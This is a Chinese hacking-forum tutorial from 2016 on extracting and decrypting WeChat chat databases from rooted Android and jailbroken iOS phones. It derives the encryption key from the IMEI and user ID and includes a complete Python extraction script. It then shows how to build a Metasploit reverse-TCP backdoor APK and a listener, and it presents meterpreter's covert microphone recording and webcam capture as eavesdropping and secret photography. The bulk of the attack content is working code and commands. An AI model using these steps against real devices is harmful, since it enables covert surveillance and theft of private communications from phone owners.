搜索
查看: 452|回复: 0

如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-7-1 09:32:09 | 显示全部楼层 |阅读模式
0×00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0×01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。   
   

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

[/url]   

首先通过FTP把文件down到本地:

[url=http://image.3001.net/images/20160606/1465200848642.png%21small]   

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

[/url]   

用数据库管理器打开:提示加密或者不是数据库文件

[url=http://image.3001.net/images/20160606/14652008718675.png%21small]   
   

这里可以用windows环境下的sqlite Database Browser浏览器打开:

[/url]   

提示输入密码:

[url=http://image.3001.net/images/20160606/14652008994439.png%21small]

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。   

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

  1. 1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

  2. 2.通过抓取WEB版微信聊天的数据包获取到uin。
复制代码
1.1 App 配置文件

    find / -name “system_config_prefs.xml”

[/url]

[url=http://image.3001.net/images/20160628/14671055233150.png]

  1. <int name="default_uin" value="146****21" />
复制代码
1.2 谷歌chrome浏览器登陆WEB版微信:

[/url]   

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

[url=http://image.3001.net/images/20160606/14652009417012.png%21small]   

uin:146****21
   

[/url]   

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

SIM值+uin值组合即为146****21354**********85   
        

md5:  [url=http://www.spriteking.com/cmd5/]http://www.spriteking.com/cmd5/  左侧加密

[/url]   



得到32位小写md5值:a1edf9f5********************b5e5 取其前七位:a1edf9f输入到sql浏览器中。   


Linux、Mac用户也可以在终端执行:

  1. echo -n "146****21354**********85" | md5sum | cut -c -7
复制代码

[url=http://image.3001.net/images/20160629/1467165602656.png]


成功打开微信的数据库文件:



[/url]   



[url=http://image.3001.net/images/20160606/1465200984808.png%21small]  


Wechat2txt.py:gist.github.com
  1. import os
  2. import sys
  3. import re
  4. import hashlib
  5. import csv
  6. import time
  7. import locale
  8. import getopt




  9. def get_db():
  10.     os.popen('adb root').close()
  11.     text = os.popen(
  12.         'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()
  13.     return text.splitlines()[- 1] if text else ''




  14. def get_default_uin():
  15.     os.popen('adb root').close()
  16.     text = os.popen(
  17.         'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()
  18.     default_uin = re.findall(
  19.         'name="default_uin" value="([0-9]+)"', text)
  20.     return default_uin[0] if default_uin else 0




  21. def get_device_ID():
  22.     text = os.popen('adb shell dumpsys iphonesubinfo').read()
  23.     device_ID = re.findall('Device ID = ([0-9]+)', text)
  24.     return device_ID[0] if device_ID else 0




  25. def get_md5():
  26.     default_uin = get_default_uin()
  27.     device_ID = get_device_ID()
  28.     if default_uin and device_ID:
  29.         return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]
  30.     return ''




  31. def parse_msgcsv(msgcsv):
  32.     locale.setlocale(locale.LC_ALL, '')
  33.     if hasattr(msgcsv, 'title'):
  34.         msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]
  35.         pass
  36.     OooO0 = csv.reader(msgcsv)
  37.     OooO0.next()
  38.     for ooOoo0O in OooO0:
  39.         try:
  40.             II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[
  41.                 : 12]
  42.             pass
  43.         except:
  44.             continue
  45.         ooooooO0oo = 'me' if (Oo00OOOOO == '1') else name
  46.         IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)
  47.         I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)
  48.         yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]
  49.         pass
  50.     pass




  51. def get_names(chat):
  52.     names = {}
  53.     for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
  54.         names[name] = 1
  55.         pass
  56.     return names.keys()




  57. def oo(chat, name=''):
  58.     text = []
  59.     name = name.lower()
  60.     for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
  61.         iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n  ')
  62.         o0 = ('\t' + o0) if o0 else ''
  63.         if not name:
  64.             text.append('%s: %s %s: %s %s' %
  65.                         (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
  66.             pass
  67.         elif name.lower() == name:
  68.             text.append('%s %s: %s %s' %
  69.                         (I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
  70.             pass
  71.         pass
  72.     return '\n'.join(text) + '\n'




  73. def IIIii1II1II(dbn, key=''):
  74.     child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
  75.     if key:
  76.         child_stdin.write('PRAGMA key=%s;\n' % ` key `)
  77.         child_stdin.write('pragma cipher_use_hmac=off;\n')
  78.         pass
  79.     child_stdin.write('.tables\n')
  80.     child_stdin.close()
  81.     return child_stdout.read().split()




  82. def decrypt(dbn, key='', table='message'):
  83.     table = table or 'message'
  84.     child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
  85.     child_stdin.write('.header on\n')
  86.     child_stdin.write('.mode csv\n')
  87.     if key:
  88.         child_stdin.write('PRAGMA key=%s;\n' % ` key `)
  89.         child_stdin.write('pragma cipher_use_hmac=off;\n')
  90.         pass
  91.     child_stdin.write('select * from %s;\n' % ` table `)
  92.     child_stdin.close()
  93.     return child_stdout.read()




  94. def wechat2txt(names=[]):
  95.     in_file = 'EnMicroMsg.db'
  96.     out_file = 'message.csv'
  97.     db = get_db()
  98.     md5 = get_md5()
  99.     os.popen('adb wait-for-device')
  100.     os.popen('adb pull %s %s' % (db, in_file)).close()
  101.     msgcsv = decrypt(in_file, md5)
  102.     if msgcsv.find('\n') < 0:
  103.         return 1
  104.     file(out_file, 'w').write(msgcsv)
  105.     msgs = list(parse_msgcsv(msgcsv))
  106.     if not msgs:
  107.         return 1
  108.     if not names:
  109.         names = get_names(msgs)
  110.         pass
  111.     for name in names:
  112.         filename = 'message.%s.txt' % name
  113.         text = oo(msgs, name)
  114.         if len(text) > 4:
  115.             file(filename, 'w').write(text)
  116.             pass
  117.         pass
  118.     pass


  119. help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...

  120. OPTIONS:
  121.     -h        display this help and exit
  122. '''




  123. def main():
  124.     try:
  125.         opts, args = getopt.getopt(sys.argv[1:], 'h')
  126.     except getopt.error, e:
  127.         print help_msg
  128.         return 1
  129.     for opt, arg in opts:
  130.         if opt == '-h':
  131.             print help_msg
  132.             return 1
  133.         pass
  134.     names = args
  135.     text = wechat2txt(names)
  136.     return not text


  137. if __name__ == "__main__":
  138.     sys.exit(main())
复制代码
0×02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:            


[/url]            



iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。


在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。         

  1. find /var/mobile/Containers/Data -name "MM.sqlite"

  2. mkdir /cache
  3. find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache
复制代码

在越狱iOS窃取隐私可参考:[url=http://www.freebuf.com/articles/terminal/76317.html]帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息一文            


0×03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213


Android(靶机):192.168.31.118


3.2生成后门文件:
  1. cd Desktop
  2. msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk
复制代码

3.3 运行metasploit控制台
  1. msfconsole

  2. use exploit/multi/handler
  3. set payload android/meterpreter/reverse_tcp
  4. set LHOST 192.168.31.213
  5. set LPORT 443
  6. run
复制代码

[url=http://image.3001.net/images/20160627/14670188507099.png]


3.4 安装&运行后门App


后门能进行什么操作?我们来看看usage:            

  1. meterpreter > help

  2. Core Commands
  3. =============

  4.     Command                   Description
  5.     -------                   -----------
  6.     ?                         Help menu
  7.     background                Backgrounds the current session
  8.     bgkill                    Kills a background meterpreter script
  9.     bglist                    Lists running background scripts
  10.     bgrun                     Executes a meterpreter script as a background thread
  11.     channel                   Displays information about active channels
  12.     close                     Closes a channel
  13.     disable_unicode_encoding  Disables encoding of unicode strings
  14.     enable_unicode_encoding   Enables encoding of unicode strings
  15.     exit                      Terminate the meterpreter session
  16.     help                      Help menu
  17.     info                      Displays information about a Post module
  18.     interact                  Interacts with a channel
  19.     irb                       Drop into irb scripting mode
  20.     load                      Load one or more meterpreter extensions
  21.     quit                      Terminate the meterpreter session
  22.     read                      Reads data from a channel
  23.     resource                  Run the commands stored in a file
  24.     run                       Executes a meterpreter script or Post module
  25.     use                       Deprecated alias for 'load'
  26.     write                     Writes data to a channel


  27. Stdapi: File system Commands
  28. ============================

  29.     Command       Description
  30.     -------       -----------
  31.     cat           Read the contents of a file to the screen
  32.     cd            Change directory
  33.     download      Download a file or directory
  34.     edit          Edit a file
  35.     getlwd        Print local working directory
  36.     getwd         Print working directory
  37.     lcd           Change local working directory
  38.     lpwd          Print local working directory
  39.     ls            List files
  40.     mkdir         Make directory
  41.     pwd           Print working directory
  42.     rm            Delete the specified file
  43.     rmdir         Remove directory
  44.     search        Search for files
  45.     upload        Upload a file or directory


  46. Stdapi: Networking Commands
  47. ===========================

  48.     Command       Description
  49.     -------       -----------
  50.     ifconfig      Display interfaces
  51.     ipconfig      Display interfaces
  52.     portfwd       Forward a local port to a remote service
  53.     route         View and modify the routing table


  54. Stdapi: System Commands
  55. =======================

  56.     Command       Description
  57.     -------       -----------
  58.     execute       Execute a command
  59.     getuid        Get the user that the server is running as
  60.     ps            List running processes
  61.     shell         Drop into a system command shell
  62.     sysinfo       Gets information about the remote system, such as OS


  63. Stdapi: Webcam Commands
  64. =======================

  65.     Command       Description
  66.     -------       -----------
  67.     record_mic    Record audio from the default microphone for X seconds
  68.     webcam_list   List webcams
  69.     webcam_snap   Take a snapshot from the specified webcam
  70. record_mic 通过手机麦克风进行窃听、录音;

  71. webcam_list 列出安卓设备的所有摄像头;

  72. webcam_snap 通过摄像头进行偷拍…
复制代码
文中工具下载地址

SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd


SSHDroid:http://pan.baidu.com/s/1b6PBK6            



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表